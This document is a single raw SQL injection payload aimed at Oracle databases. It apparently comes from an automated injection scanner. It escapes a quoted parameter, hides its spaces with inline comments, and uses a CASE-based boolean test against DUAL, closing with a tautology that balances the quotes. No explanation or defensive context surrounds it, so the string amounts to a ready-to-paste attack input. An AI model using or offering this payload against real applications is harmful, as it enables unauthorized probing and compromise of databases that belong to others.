1")AND/**/1538=(SELECT/**/UPPER(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(1538=1538)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(6768,5607)=1499) AND ("r8Z8PTth"="r8Z8PTth"